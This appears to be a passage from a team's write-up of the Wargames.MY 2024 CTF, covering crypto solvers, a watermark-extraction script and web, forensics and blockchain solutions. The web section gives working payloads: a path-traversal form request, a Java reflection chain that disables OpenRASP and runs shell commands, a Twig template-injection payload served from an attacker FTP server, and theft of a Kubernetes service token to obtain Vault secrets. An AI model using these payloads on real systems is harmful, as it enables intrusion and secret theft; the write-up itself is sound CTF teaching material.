2463, 2285, 1261, 4458, 1207, 3969, 2175, 136, 2519, 754, 1603, 844, 296, 564, 130, 195, 5, 0] ) sr = solve(A, AS, b, None, None, columns, [(100, 30)]*200, [8830, 9165, 9035, 8726, 1054, 143, 5448, 1708, 2803, 1370, 2342, 532, 3649, 6365, 1034, 1992, 7547, 6017, 1945, 3092, 1158, 3901, 2463, 2285, 1261, 4458, 1207, 3969, 2175, 136, 2519, 754, 1603, 844, 296, 564, 130, 195, 5, 0] ) assert (sr==s).all() while True: proc = remote("43.217.80.203", 35166) proc.readuntil(b'seed.hex() = ') line = proc.readline().strip() seed = bytes.fromhex(eval(line)) proc.readuntil(b'b.tolist() = ') line = proc.readline().strip() b = eval(line) import random import numpy as np n = 500; p = 3691; k = 10; m = 20 * n def change_support(support): while (t := random.randint(0, n - 1)) in support: pass support[random.randint(0, k - 1)] = t return support random.seed(seed) A = np.zeros((n, m), dtype=int) support = random.sample(range(n), k) columns = list(range(m)) random.shuffle(columns) for i in columns: if (random.randint(0, 2) == 0): support = change_support(support) A[support, i] = [random.randint(0, p - 1) for _ in range(k)] AS = matrix(GF(p), *A.shape) copy_from_numpy_2(AS, A) AS_rank = AS.rank() if AS_rank != AS.nrows(): print(f"insufficient rank {AS_rank}") proc.kill() continue break sr = solve(A, AS, np.array(b), None, None, columns, [(100, 30)]*200, []) proc.readuntil(b's: ') proc.sendline(str(sr.tolist())) proc.interactive() ``` ### LPN ```py from hashlib import sha256 import os import secrets import signal F.<z> = GF(2^128) n = 20; m = 100 seed = os.urandom(16) set_random_seed(int.from_bytes(seed, 'big')) A = [[F.random_element() for _ in range(m)] for _ in range(n)] A = Matrix(F, A) set_random_seed(int.from_bytes(os.urandom(16), 'big')) e_elem_1 = F.random_element() e_elem_2 = F.random_element() assert e_elem_1 != e_elem_2 s = vector(F, [F.random_element() for _ in range(n)]) e = vector(F, [e_elem_1 if secrets.randbits(1) else e_elem_2 for _ in range(m)]) b = s * A + e print(f'{seed.hex() = }') print(f'{list(b) = }') s_ = input('hash(s): ') proc = remote("43.217.80.203", 35245) proc.readuntil("seed.hex() = ") line = proc.readline() seed = bytes.fromhex(eval(preparse(line.decode()))) set_random_seed(int.from_bytes(seed, 'big')) A = [[F.random_element() for _ in range(m)] for _ in range(n)] A = Matrix(F, A) proc.readuntil("list(b) = ") line = proc.readline() b = vector(F, eval(preparse(line.decode()))) A1 = matrix.block([ [A[:, :n+3]], [matrix.ones(1, n+3)], ]).rref() assert A1[:, :n+1] == matrix.identity(F, n+1) u, v = b[:n+1] * A1[:, n+1:] + b[n+1:n+3] u /= v v = 1 A2 = A1[:, n+1:].stack(matrix.identity(F, 2)) * vector([1, u]) A3 = np.array([[*x] for x in A2], dtype=int) first_half = (n+3)//2 import itertools A3_1 = A3[:first_half] A3_2 = A3[first_half:] d = { bytes(np.packbits((l@A3_1)%2)) : l for l in itertools.product((0, 1), repeat=first_half)} del d[bytes(np.packbits(np.zeros(A3_1.shape[1], dtype=np.uint8)))] for l in itertools.product((0, 1), repeat=n+3-first_half): key = bytes(np.packbits((l@A3_2)%2)) if key in d: break else: assert False e2 = vector(d[key] + l) s1 = matrix.block([ [A[:, :n+3]], [matrix.ones(1, n+3)], [e2.row()], ]).solve_left(b[:n+3])[:-2] proc.sendline(str(sha256(str(list(s1)).encode()).hexdigest())) proc.interactive() ``` ### Isogeny ```python ls = list(prime_range(3,117)) p = 4 * prod(ls) - 1 F = GF(p) E = EllipticCurve(F, [1, 0]) from pathlib import Path data = Path("output.txt").read_text().strip().split("\n") data = [list(map(ZZ, x.split(", "))) for x in data] import tqdm for i in tqdm.trange(500): l = data[i*3:i*3+3] for w in ls: while (P := E.random_point() * ((p + 1) // w)) == E(0): pass phi = E.isogeny(P) if all(phi(E.lift_x(x))[0] == x2 for x, x2 in l): break else: assert False E = phi.codomain() from hashlib import md5 FLAG = "wgmy{" + md5(str(E.j_invariant()).encode()).hexdigest() + "}" print(FLAG) ``` ## Crypto ### Hohoho 3 The whole thing is affine note that `p ^ q ^ r == s` if we send ``` 1 Santa Claup 1 Santa Clauq 1 Santa Claur ``` we can xor the result ```py xor( bytes.fromhex('f53f2d8368770f091d46f22e47877a11'), bytes.fromhex('c9eb0d7e88beee659b3b5ecec58eb409'), bytes.fromhex('8c976c78a9e4cdd011bdabef4394e621'), ).hex() ``` and paste the result back ``` 2 Santa Claus b0434c85492d2cbc97c0070fc19d2839 4 ``` ### Credentials https://elijahchia.gitbook.io/ctf-blog/wargames.my-ctf-2024/credentials-crypto ### Ricks Algorithm https://elijahchia.gitbook.io/ctf-blog/wargames.my-ctf-2024/ricks-algorithm-crypto ### Ricks Algorithm 2 https://elijahchia.gitbook.io/ctf-blog/wargames.my-ctf-2024/ricks-algorithm-2-crypto ### Hohoho 3 Continued https://elijahchia.gitbook.io/ctf-blog/wargames.my-ctf-2024/hohoho-3-continue-crypto ## Misc ### Watermarked? > Got this from social media, someone said it's watermarked, is it? Googling for `watermarking methods "github.com"`, we eventually stumble upon Meta Research's repo, [Watermark Anything](https://github.com/facebookresearch/watermark-anything) (fits the "got this from social media" part of the chall description) In the repo, we are given [examples](https://github.com/facebookresearch/watermark-anything/blob/main/notebooks/colab.ipynb) of how their method is used to hide 1 or 2 watermarks on the image. Since the image given was a gif with 65 frames, I assumed that each frame contained a letter or a chunk of data of some sort. With the help from our friendly neighbouhood claude.ai (i didn't want to write the gif extraction), we wrote some code to split each frame of the gif, and adapted their code used to predict which bits have the watermark and what the watermark is ```py import os import torch import torch.nn.functional as F from PIL import Image from torchvision.utils import save_image import cv2 from watermark_anything.data.metrics import msg_predict_inference from notebooks.inference_utils import ( load_model_from_checkpoint, default_transform, unnormalize_img, msg2str ) # Initialize device (GPU or CPU) device = torch.device("cuda" if torch.cuda.is_available() else "cpu") # Load the model from the specified checkpoint exp_dir = "checkpoints" json_path = os.path.join(exp_dir, "params.json") ckpt_path = os.path.join(exp_dir, 'wam_mit.pth') wam = load_model_from_checkpoint(json_path, ckpt_path).to(device).eval() # Function to load an image and apply the necessary transformations def load_img(path): img = Image.open(path).convert("RGB") img = default_transform(img).unsqueeze(0).to(device) return img # Function to extract frames from GIF def extract_frames_from_gif(gif_path): gif = cv2.VideoCapture(gif_path) frames = [] success, frame = gif.read() while success: frames.append(frame) success, frame = gif.read() return frames # Function to detect watermark in a single frame def detect_watermark_in_frame(frame, model): # Convert OpenCV image (BGR) to PIL image (RGB) pil_frame = Image.fromarray(cv2.cvtColor(frame, cv2.COLOR_BGR2RGB)) # Pre-process the image using the default transformation input_tensor = default_transform(pil_frame).unsqueeze(0).to(device) # Detect the watermark in the frame outputs = model.detect(input_tensor) # Outputs the prediction preds = outputs["preds"] # [1, 33, 256, 256] -> Predicted mask and bits mask_preds = F.sigmoid(preds[:, 0, :, :]) # [1, 256, 256], predicted mask bit_preds = preds[:, 1:, :, :] # [1, 32, 256, 256], predicted bits # Predict the embedded message and calculate bit accuracy pred_message = msg_predict_inference(bit_preds, mask_preds).cpu().float() # [1, 32] return pred_message, mask_preds # Function to save the detection result (if needed) def save_detection_result(frame, frame_id, output_dir, pred_message, mask_preds_res): if not os.path.exists(output_dir): os.makedirs(output_dir) # Save the detected message and the predicted mask save_image(mask_preds_res, f"{output_dir}/frame_{frame_id}_pred_mask.png") print(f"Predicted message for frame {frame_id}: {msg2str(pred_message[0])}") # Function to process the GIF and detect watermarks in each frame def process_gif_for_watermarks(gif_path, model, output_dir): frames = extract_frames_from_gif(gif_path) for frame_id, frame in enumerate(frames): pred_message, mask_preds = detect_watermark_in_frame(frame, model) # Resize the predicted mask to match the original image size mask_preds_res = F.interpolate(mask_preds.unsqueeze(1), size=(frame.shape[0], frame.shape[1]), mode="bilinear", align_corners=False) # [1, 1, H, W] # Save the processed frame and its outputs save_detection_result(frame, frame_id, output_dir, pred_message, mask_preds_res) if __name__ == "__main__": gif_path = "assets/images/watermarked.gif" # Path to the input GIF file output_dir = "output" # Directory where processed frames will be saved # Process the GIF to detect the watermark message process_gif_for_watermarks(gif_path, wam, output_dir) ``` By running the above code, we get the following output: ``` Predicted message for frame 0: 01010111011000010111001001100111 <truncated for brevity> Predicted message for frame 64: 00110010001100000011001000110100 ``` Converting each frame's binary data to ascii text, we get the following message: ``` Wargames.MY is a 24-hour online CTF hacking game. Well, it is a competition of sorts. Congrats on solving this challenge! This is for you: wgmy{2cc46df0fb62c2a92732a4d252b8d9a7}. Thanks for playing with us. We hope you enjoy solving our challenges. -- WGMY2024 ``` ### Christmas Gift ![](https://docs.elmo.sg/uploads/fd578b65-bcbf-4299-8187-3e71b7af2ec1.png) ### DCM Meta https://jyjh.github.io/blog/posts/wgmy24/#dcm-meta ### Invisible Ink https://jyjh.github.io/blog/posts/wgmy24/#invisible-ink ## Web ### Wordmarket 1. Obtain secret by POST request to admin-ajax.php with switch=1 2. Register user with `shop_manager` role using the `/add_user` endpoint. 3. Send POST request to insert path traversal payload into country code field. This will cause `/flag.php` to be included. ``` POST /wp-admin/admin.php?page=wc-settings&tab=csz HTTP/1.1 Host: 46.137.193.2 Content-Length: 874 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://46.137.193.2 Content-Type: multipart/form-data; boundary=----WebKitFormBoundary2TMrDSJIT4wtav0w User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://46.137.193.2/wp-admin/admin.php?page=wc-settings&tab=csz Accept-Encoding: gzip, deflate Accept-Language: en-GB,en-US;q=0.9,en;q=0.8 Cookie: blahblah Connection: close ------WebKitFormBoundary2TMrDSJIT4wtav0w Content-Disposition: form-data; name="wc_csz_countries_codes[]" ../../../../../../../../../../flag ------WebKitFormBoundary2TMrDSJIT4wtav0w Content-Disposition: form-data; name="wc_csz_set_zone_locations" ------WebKitFormBoundary2TMrDSJIT4wtav0w Content-Disposition: form-data; name="wc_csz_set_zone_country" MY ------WebKitFormBoundary2TMrDSJIT4wtav0w Content-Disposition: form-data; name="wc_csz_set_zone_id" 6 ------WebKitFormBoundary2TMrDSJIT4wtav0w Content-Disposition: form-data; name="save" Save changes ------WebKitFormBoundary2TMrDSJIT4wtav0w Content-Disposition: form-data; name="_wpnonce" 44b16f0b6b ------WebKitFormBoundary2TMrDSJIT4wtav0w Content-Disposition: form-data; name="_wp_http_referer" /wp-admin/admin.php?page=wc-settings&tab=csz ------WebKitFormBoundary2TMrDSJIT4wtav0w-- ``` ### Wizard Chamber 1. Disable openRASP hooking: ```java 2.class.forName("com.baidu.openrasp.config.Config").getMethod("setDisableHooks", "a".class).invoke(2.class.forName("com.baidu.openrasp.config.Config").methods[0].invoke(null), "true") ``` 2. Read flag: ```java 2.class.forName("ja"+"va.util.Arrays").getMethod("toString", " ".getBytes().class).invoke(null, 2.class.forName("ja"+"va.lang.Ru"+"ntime").methods[0].invoke(null).exec("cat /flag-REDACTED.txt").getInputStream().readAllBytes()) ``` ### Dear admin 1. Setup FTP server on own server. PHP `file_exists` will allow `ftp://` scheme. 2. Host payload in `templates/admin_review.twig` on FTP server: ``` {% set people = ["cat /flag*"] %} {% set t = "tem" %} {% set s = "sys#{t}" %} {{ people|map(s)|join(', ') }} ``` 3. View review to obtain flag ### Warmup 2 Path traversal in Jaguar library, use `/proc/self/environ` to read env vars containing flag: ``` GET /..%2f..%2fproc%2fself%2fenviron HTTP/1.1 Host: dart.wgmy Upgrade-Insecure-Requests: 1 Connection: close Content-Type: application/x-www-form-urlencoded ``` ### Secret 2 1. Kubernetes auth enabled in Vault 2. Service account JWT located in `/var/run/secrets/kubernetes.io/serviceaccount/token`, use path traversal from Warmup 2 to retrieve 3. Exchange JWT for Vault access token, then fetch the flag: ```python import requests res = requests.post("http://13.76.138.239/vault/v1/auth/kubernetes/login", headers={ "Host": "nginx.wgmy", }, json={"jwt":"....", "role":"wgmy"}).json() print(res) tkn = res["auth"]["client_token"] print(requests.get("http://13.76.138.239/vault/v1/kv/data/flag", headers={ "Host": "nginx.wgmy", "X-Vault-Token": tkn }).text) ``` ## Forensics ### I Cant Manipulate People `tshark -r traffic.pcap -Y "icmp" -T fields -e data | xxd -r -p` Flag: `WGMY{1e3b71d57e466ab71b43c2641a4b34f4}` ### Unwanted Meow Remove all entries of the word "meow", twice ```python with open("flag.shredded", "rb") as f: contents = f.read() with open("flag.jpg", "wb") as f: f.write(contents.replace(b"meow", b"").replace(b"meow", b"")) ``` Flag: `WGMY{4a4be40c96ac6314e91d93f38043a634}` ### Oh Man Basically follow this [writeup](https://medium.com/maverislabs/decrypting-smb3-traffic-with-just-a-pcap-absolutely-maybe-712ed23ff6a2) to extract NTLMv2 hash, cracking it reveals the password to be `password<3` We can then inspect SMB3 traffic and find the output of [nanodump](https://github.com/fortra/nanodump) Run `scripts/restore_signature` and then dump the LSASS secrets using pypykatz, revealing the flag Flag: `wgmy{fbba48bee397414246f864fe4d2925e4}` ### Tricky Malware Use volatility3, `pslist` shows that `crypt.exe` is ran from "C:\Users\user\Desktop\Blow\crypt.exe" Dump the binary out using `dumpfiles`, observe that it is a Pyinstaller compiled executable. Use [pyinstxtractor](https://github.com/extremecoders-re/pyinstxtractor) to extract `crypt.pyc` out, and use [pylingual](https://pylingual.io/) to decompile the pyc file. There's a pastebin link: <https://pastebin.com/raw/PDXfh5bb>, revealing the flag. Flag: `WGMY{8b9777c8d7da5b10b65165489302af32}` ## Blockchain All blockchain writeups can be found here https://jyjh.github.io/blog/posts/wgmy24/#blockchain.